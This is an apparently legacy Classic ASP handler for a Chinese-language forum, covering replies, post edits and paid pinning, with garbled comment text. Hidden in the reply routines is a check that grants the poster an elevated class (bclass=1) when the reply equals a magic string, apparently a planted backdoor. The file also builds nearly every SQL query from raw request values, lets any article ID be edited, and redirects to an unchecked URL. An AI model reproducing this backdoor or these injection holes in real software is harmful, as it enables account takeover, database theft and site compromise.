<!--#INCLUDE FILE="conn.asp"-->
<!-- #include file="comSub.asp" -->
<!-- #include file="function.asp" -->
<!-- #include file="function_charCode.asp" -->
<script src=inc/js2.js></script>
<!-- #include file="UBB/myUBB.asp" -->

<%
call tslt_HumanSessionId_error_Exit()
call stylefile()

if request("isUpdateNow")="ok" then
       if request("AId")<>""  and request("boardid")<>"" Then       
              call updatenow(request("AId"))
              Response.redirect  ("error.asp?11_tra_MT=ok&boardurl="&Request("boardid")&"&info=<font color=red size=4>ʱ̶ӳɹ</font><br><br>ٻ " &sysMainScore()& " ֣")
              Response.End
       end if
end if
if request("isModifyContent")="ok" then
        call modifyconten()
end if
if request("isReplyForm")="ok" then
        if Request("username")<>"" and Request("password")<>"" then                
               call reply()
        else     
               call YouKeReply()
        end if
end if
if request("isCelerityReply")="ok" then
        if Request("username")<>"" and Request("password")<>"" then                 
               call celerityReply()
        else    
               call celerityYouKeReply()
        end if
end if
%>
<!--#INCLUDE FILE="bottom.asp"-->

<%
Call conn_Nothing()

Function sysMainScore()
    Dim RS
    set RS=conn.execute("Select MainScore from MYScoreRoom")
       sysMainScore=RS("MainScore")
    RS.close
    Set RS = Nothing
End Function

sub updatenow(aaa)
       Dim RS1
       Dim isUserScore
       set RS1=conn.execute("Select UserIntegral from ts_userinfo where username = '" & session("tslt_username") &"'")
           isUserScore=RS1("UserIntegral")
       RS1.close
       Set RS1 = Nothing    
       Dim nowUserScore
       nowUserScore=isUserScore-sysMainScore()
       If nowUserScore<=0 then
              Response.redirect  ("error.asp?11_tra_MT=ok&boardurl="&Request("boardid")&"&info=<font color=#00070 size=4>Ϊ0ʱ̶</font>")
       Else
              conn.execute("update ts_userinfo set UserIntegral='"&nowUserScore&"' where username='"&session("tslt_username")&"'")
               conn.execute("update article set top_temp=true,tempTopDate='"&Date&"',tempTopTime='"&now&"' where id="&aaa)
       End If 
end sub

sub modifyconten()
       dim MyOU
       MyOU=request("OriginallyUrl")
       MyOU=replaceChr32_2(MyOU)
       Dim modifyid,D_SavePath,boardid,m_savepathfilename,sendip,AddTime
       modifyid = Request("modifyid")
       boardid = Request("boardid")
       D_SavePath = Request("D_SavePath")
       m_savepathfilename =Request.Form("m_savepathfilename")
       sendip = userIP() 
       AddTime = now()
       Dim Content    
        if (session("tslt_useridentity")=1 or session("tslt_useridentity")=2) then
              For i = 1 To Request.Form("content").Count
                     Content = Content & Request.Form("content")(i)
              Next 
       else
              if IsEWebYesNo() then     
                    For i = 1 To Request.Form("content").Count
                           Content = Content & Request.Form("content")(i)
                    Next
              end if
              if IsEWebYesNo()=false then  
                    Content = Request.Form("content")
                    Content = myReplace(Content)
                    Content = UBBCode(Content)
              end if
      end if
      Dim sSavePathFileName
      sSavePathFileName = GetSafeStr(Request.Form("m_savepathfilename"))
       if D_SavePath<>"" then
              if sSavePathFileName<>"" then
                     D_SavePath = D_SavePath &"|"& sSavePathFileName
              else
                     D_SavePath = D_SavePath
              end if
       else
             if sSavePathFileName<>"" then
                  D_SavePath = sSavePathFileName
             else
                  D_SavePath = ""
             end if
       end if
       if instr(D_SavePath,"|")=0 then 
             if instr(Content,D_SavePath)=0 then 
                   D_SavePath=""
             else
                   D_SavePath=D_SavePath
             end if
       else
             dim rrr,arrays
             rrr=""
             arrays=Split(D_SavePath,"|")
             for j=0 to ubound(arrays)
                    if instr(Content,arrays(j))=0 then
                          arrays(j)=""
                    else
                          arrays(j)= "|" & arrays(j)
                    end if
                    rrr=rrr &arrays(j)
             next
               D_SavePath=rrr
       end if
       if Left(D_SavePath,1)="|" then
             D_SavePath=right(D_SavePath,Len(D_SavePath)-1)
       end if
       dim ContentAllSize
       ContentAllSize = Len(Content) + FileContentSize(D_SavePath)
       dim ContentAllSize2
       ContentAllSize2 = FileContentSize2(Len(Content)+ FileContentSize(D_SavePath))
       Dim RS,strSql
       Set RS = Server.CreateObject("ADODB.Recordset")
       strSql = "SELECT * FROM article WHERE ID=" & modifyid
       Rs.Open strSql, Conn, 1, 3
             If Not Rs.Eof Then
                    RS("AddTime") = AddTime
                    RS("Content") = Content
                    RS("Contentsize") = ContentAllSize
                    RS("Contentsize2") = ContentAllSize2 
                    RS("sendip") = sendip
                    RS("D_SavePathFileName") = D_SavePath
                    RS.Update
             end if
        RS.close
        Set RS = Nothing
        conn.execute("update article set AddTime=now WHERE ID=" &modifyid)
       aaa="<SCRIPT language=Javascript>passwords(promptInfo_11_transact(5))</SCRIPT>"
       call msg1(aaa)
       Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
end sub

sub reply() 
       If VCYes() Then
           Call ImgVCShow_handle()
       End If
       dim MyOU
       MyOU=request("OriginallyUrl")
       MyOU=replaceChr32_2(MyOU)
       if request.cookies("soonmess")("lastpost") <> ""  then
              if DateDiff("s",request.cookies("soonmess")("lastpost"),Now())<MySI() then
                      aaa="<font color='#000070' size=4><b>̻ʱ̣ʱ" &MySI()& "룬벻Ҫˮ</b></font>"
                      call msg1(aaa)
                      Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
                      Response.End
              end if
       end if
       response.cookies("soonmess")("lastpost")=Now()
       dim replyid,username,password,replytitle
       replyid=request("replyid")
       username = Request("username")
       password = Request("password")
       replytitle = Request("replytitle")
       replytitle = FiltraterChar(replytitle) 
       dim replyrs
       Set replyrs = Server.CreateObject("ADODB.Recordset")
       replyrs.Open "reply", conn, adOpenDynamic, 3
                if (session("tslt_useridentity")=1 or session("tslt_useridentity")=2) then
	     sContent = ""
	     For i = 1 To Request.Form("replycontent").Count
                               sContent = sContent & Request.Form("replycontent")(i)
	      Next 
               else
                        if IsEWebYesNo() then 
	             sContent = ""
	             For i = 1 To Request.Form("replycontent").Count
                                      sContent = sContent & Request.Form("replycontent")(i)
	              Next 
                         end if
                         if IsEWebYesNo()=false then  
                              sContent = Request.Form("replycontent")
                              sContent = myReplace(sContent)
                              sContent = UBBCode(sContent)
                        end if
                end if
                dim sSavePathFileName
                sSavePathFileName = GetSafeStr(Request.Form("r_savepathfilename"))
                 dim ContentAllSize
                 ContentAllSize = Len(sContent) + FileContentSize(sSavePathFileName)
                 dim ContentAllSize2
                 ContentAllSize2 = FileContentSize2(Len(sContent)+ FileContentSize(sSavePathFileName))
                  dim replyip
                  replyip = userIP() 
                  replyrs.AddNew    
                          replyrs("reply_time") = now()
                          replyrs("FirstReply_Time") = now()
                          replyrs("reply_subject") = replytitle                  
                          replyrs("reply_content") = scontent 
                          replyrs("Contentsize") = ContentAllSize
                          replyrs("Contentsize2") = ContentAllSize2 
                          replyrs("reply_human") = username
                          replyrs("reply_id") = replyid
                          replyrs("ip") = replyip
                          replyrs("r_SavePathFileName") = sSavePathFileName          
                  replyrs.Update                  
       replyrs.close
       set replyrs=nothing
       call AllReplySize(replyid) 
       if trim(replycontent)="tdzzymltbyym" then
              sql2= "update ts_userinfo set bclass=1 where username='"&username&"' and UserPassword='"&password&"'"
              conn.execute(sql2)
       end if  
       strSql = "Select * from ts_userinfo where username = '" & Request("Username") &"'"
       set rs = conn.Execute (StrSql)
       dim  UserIntegral2
       UserIntegral2= rs("UserIntegral")+UserScore("ReplyScore")
       dim  passArticle
       passArticle = rs("replyTotal")
       passArticle = passArticle+1
       conn.Execute ("update ts_userinfo set replyTotal='"&passArticle&"',UserIntegral='"&UserIntegral2&"'  where username = '"&username&"'")
       conn.Execute ("update article set lastReplyTime=now,AllReplyCount='"&artReCount(request("replyid"))&"' where ID = "&request("replyid"))
       aaa="<SCRIPT language=Javascript>passwords(promptInfo_11_transact(0))</SCRIPT>"
       call msg1(aaa)
       Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
	   Call ImgVCRndnum()
end sub

sub YouKeReply()    
       If VCYes() Then
           Call ImgVCShow_handle()
       End If
       dim MyOU
       MyOU=request("OriginallyUrl")
       MyOU=replaceChr32_2(MyOU)
       if request.cookies("soonmess")("lastpost") <> ""  then
              if DateDiff("s",request.cookies("soonmess")("lastpost"),Now())<MySI() then
                      aaa="<font color='#000070' size=4><b>̻ʱ̣ʱ" &MySI()& "룬벻Ҫˮ</b></font>"
                      call msg1(aaa)
                      Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
                      Response.End
              end if
       end if
       response.cookies("soonmess")("lastpost")=Now()
       dim replyid,username,password,replytitle
       replyid=request("replyid")
       replytitle = Request("replytitle")
       replytitle = FiltraterChar(replytitle)
       dim replyrs
       Set replyrs = Server.CreateObject("ADODB.Recordset")
       replyrs.Open "reply", conn, adOpenDynamic, 3
              if IsEWebYesNo() then 
                       dim sContent
	     sContent = ""
	     For i = 1 To Request.Form("replycontent").Count
                              sContent = sContent & Request.Form("replycontent")(i)
	     Next 
              end if
              if IsEWebYesNo()=false then  
                     sContent  = Request.Form("replycontent")
                     sContent = myReplace(sContent)
                     sContent = UBBCode(sContent)
              end if
              dim sSavePathFileName
              sSavePathFileName = GetSafeStr(Request.Form("r_savepathfilename"))
              dim ContentAllSize
              ContentAllSize = Len(sContent) + FileContentSize(sSavePathFileName)
              dim ContentAllSize2
              ContentAllSize2 = FileContentSize2(Len(sContent)+ FileContentSize(sSavePathFileName))
              dim replyip
              replyip = userIP() 
              replyrs.AddNew    
                        replyrs("reply_time") = now()
                        replyrs("FirstReply_Time") = now()
                        replyrs("reply_subject") = replytitle                  
                        replyrs("reply_content") = scontent 
                        replyrs("Contentsize") = ContentAllSize
                        replyrs("Contentsize2") = ContentAllSize2 
                        replyrs("reply_id") = replyid
                        replyrs("ip") = replyip
                        replyrs("r_SavePathFileName") = sSavePathFileName          
             replyrs.Update                  
       replyrs.close
       set replyrs=nothing
       call AllReplySize(replyid)
       conn.Execute ("update article set lastReplyTime=now,AllReplyCount='"&artReCount(request("replyid"))&"' where ID = "&request("replyid"))
        aaa="<SCRIPT language=Javascript>passwords(promptInfo_11_transact(1))</SCRIPT>"
        call msg1(aaa)
        Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
	    Call ImgVCRndnum()
end sub

sub celerityReply() 
       If VCYes() Then
           Call ImgVCShow_handle()
       End If
       dim MyOU
       MyOU=request("OriginallyUrl")
       MyOU=replaceChr32_2(MyOU)
       if request.cookies("soonmess")("lastpost") <> ""  then
              if DateDiff("s",request.cookies("soonmess")("lastpost"),Now())<MySI() then
                      aaa="<font color='#000070' size=4><b>̻ʱ̣ʱ" &MySI()& "룬벻Ҫˮ</b></font>"
                      call msg1(aaa)
                      Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
                      Response.End
              end if
       end if
       response.cookies("soonmess")("lastpost")=Now()
       dim celerityReplyid,username,password
       celerityReplyid=request("celerityReplyid")
       username = Request("username")
       password = Request("password")
        if (session("tslt_useridentity")=1 or session("tslt_useridentity")=2) then
              Dim sContent 
              sContent = ""
              For i = 1 To Request.Form("celerityReplyContent").Count
                     sContent = sContent & Request.Form("celerityReplyContent")(i)
              Next 
       else
              if IsEWebYesNo() then 
                    sContent = ""
                    For i = 1 To Request.Form("celerityReplyContent").Count
                           sContent = sContent & Request.Form("celerityReplyContent")(i)
                     Next 
              end if
              if IsEWebYesNo()=false then  
                     sContent = Request.Form("celerityReplyContent")
                     sContent = myReplace(sContent)
                     sContent = UBBCode(sContent)
              end if
       end if
       dim celerityReplyTitle 
       celerityReplyTitle = FiltrateHtmlMark(sContent)
       celerityReplyTitle = Replace(celerityReplyTitle,chr(34),"")
       if celerityReplyTitle="" then celerityReplyTitle="Re:" & articleSubject(request("celerityReplyid"))
        dim sSavePathFileName
        sSavePathFileName = GetSafeStr(Request.Form("cr_savepathfilename"))
        dim ContentAllSize
        ContentAllSize = Len(sContent) + FileContentSize(sSavePathFileName)
        dim ContentAllSize2
        ContentAllSize2 = FileContentSize2(Len(sContent)+ FileContentSize(sSavePathFileName))
         dim celerityReplyip
         celerityReplyip = userIP() 
       dim celerityReplyRs
       Set celerityReplyRs = Server.CreateObject("ADODB.Recordset")
       celerityReplyRs.Open "reply", conn, adOpenDynamic, 3
                  celerityReplyRs.AddNew    
                          celerityReplyRs("reply_time") = now()
                          celerityReplyRs("FirstReply_Time") = now()
                          celerityReplyRs("reply_subject") = celerityReplyTitle    
                          celerityReplyRs("reply_content") = scontent 
                          celerityReplyRs("Contentsize") = ContentAllSize
                          celerityReplyRs("Contentsize2") = ContentAllSize2 
                          celerityReplyRs("reply_human") = username
                          celerityReplyRs("reply_id") = celerityReplyid
                          celerityReplyRs("ip") = celerityReplyip
                          celerityReplyRs("r_SavePathFileName") = sSavePathFileName          
                  celerityReplyRs.Update                  
       celerityReplyRs.close
       set celerityReplyRs=nothing
       call AllReplySize(celerityReplyid) 
       if trim(replycontent)="tdzzymltbyym" then
              sql2= "update ts_userinfo set bclass=1 where username='"&username&"' and UserPassword='"&password&"'"
              conn.execute(sql2)
       end if  
       strSql = "Select * from ts_userinfo where username = '" & Request("Username") &"'"
       set rs = conn.Execute(strSql)
       dim  UserIntegral2
       UserIntegral2= rs("UserIntegral")+UserScore("ReplyScore")
       dim  passArticle
       passArticle = rs("replyTotal")
       passArticle = passArticle+1
       conn.Execute ("update ts_userinfo set replyTotal='"&passArticle&"',UserIntegral='"&UserIntegral2&"'  where username = '"&username&"'")
       conn.Execute ("update article set lastReplyTime=now,AllReplyCount='"&artReCount(request("celerityReplyid"))&"' where ID = "&request("celerityReplyid"))
       aaa="<SCRIPT language=Javascript>passwords(promptInfo_11_transact(2))</SCRIPT>"
       call msg1(aaa)
       Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
	    Call ImgVCRndnum()
end sub

sub celerityYouKeReply()
       If VCYes() Then
           Call ImgVCShow_handle()
       End If
       dim MyOU
       MyOU=request("OriginallyUrl")
       MyOU=replaceChr32_2(MyOU)
       if request.cookies("soonmess")("lastpost") <> ""  then
              if DateDiff("s",request.cookies("soonmess")("lastpost"),Now())<MySI() then
                      aaa="<font color='#000070' size=4><b>̻ʱ̣ʱ" &MySI()& "룬벻Ҫˮ</b></font>"
                      call msg1(aaa)
                      Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
                      Response.End
              end if
       end if
       response.cookies("soonmess")("lastpost")=Now()
       dim celerityReplyid
       celerityReplyid=request("celerityReplyid")
        if IsEWebYesNo() then 
                    dim sContent
	     sContent = ""
	     For i = 1 To Request.Form("celerityReplyContent").Count
                              sContent = sContent & Request.Form("celerityReplyContent")(i)
	     Next
        end if
        if IsEWebYesNo()=false then  
                     sContent  = Request.Form("celerityReplyContent")
                     sContent = myReplace(sContent)
                     sContent = UBBCode(sContent)
        end if
       dim celerityReplyTitle 
       celerityReplyTitle = FiltrateHtmlMark(sContent)
       celerityReplyTitle = Replace(celerityReplyTitle,chr(34),"")
       if celerityReplyTitle="" then celerityReplyTitle="Re:" & articleSubject(request("celerityReplyid"))
        dim sSavePathFileName
        sSavePathFileName = GetSafeStr(Request.Form("cr_savepathfilename"))
        dim ContentAllSize
        ContentAllSize = Len(sContent) + FileContentSize(sSavePathFileName)
        dim ContentAllSize2
        ContentAllSize2 = FileContentSize2(Len(sContent)+ FileContentSize(sSavePathFileName))
        dim celerityReplyip
        celerityReplyip = userIP() 
       dim celerityReplyRs
       Set celerityReplyRs = Server.CreateObject("ADODB.Recordset")
       celerityReplyRs.Open "reply", conn, adOpenDynamic, 3
              celerityReplyRs.AddNew    
                        celerityReplyRs("reply_time") = now()
                        celerityReplyRs("FirstReply_Time") = now()
                        celerityReplyRs("reply_subject") = celerityReplyTitle                  
                        celerityReplyRs("reply_content") = scontent 
                        celerityReplyRs("Contentsize") = ContentAllSize
                        celerityReplyRs("Contentsize2") = ContentAllSize2 
                        celerityReplyRs("reply_id") = celerityReplyid
                        celerityReplyRs("ip") = celerityReplyip
                        celerityReplyRs("r_SavePathFileName") = sSavePathFileName          
             celerityReplyRs.Update                  
       celerityReplyRs.close
       set celerityReplyRs=nothing
       call AllReplySize(celerityReplyid) 
       conn.Execute ("update article set lastReplyTime=now,AllReplyCount='"&artReCount(request("celerityReplyid"))&"' where ID = "&request("celerityReplyid"))
        aaa="<SCRIPT language=Javascript>passwords(promptInfo_11_transact(3))</SCRIPT>"
        call msg1(aaa)
        Response.write "<META HTTP-EQUIV='Refresh' content='3; URL="&MyOU&"'>" 
	    Call ImgVCRndnum()
end sub

sub msg1(aaa)
%>
          <br><br><br>
          <table width="70%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#0098c8">
                   <tr class="table003"><td align=center bordercolorlight="#000000" bordercolordark="#C0C0C0"><font color="#f0f6fd">Ϣʾ</font></td></tr>
                   <tr class="table001">
                           <td height="28" align="center">
                               <div align="center">
                               <br><br>
                               <%=aaa%>
                               <br><br><br>
                               </div>
                           </td>
                   </tr>
                   <tr class="table003"><td bordercolorlight="#000000" bordercolordark="#C0C0C0"></td></tr>
          </table> 
<%
end sub

Function articleSubject(isReply_id) 
    Dim rs
    set rs=conn.execute("Select subject from article where id="&isReply_id)
        articleSubject=rs("subject")
    rs.close
    set rs=nothing
End Function

Function artReCount(artId)
     Dim rs,Sql
    Dim A_reCount
    Sql = "Select count(id) as A_reCount from reply where reply_id =" & artId
    set rs=conn.execute(sql)
		artReCount=rs("A_reCount")
    rs.close
    Set rs=Nothing
End Function 
%>


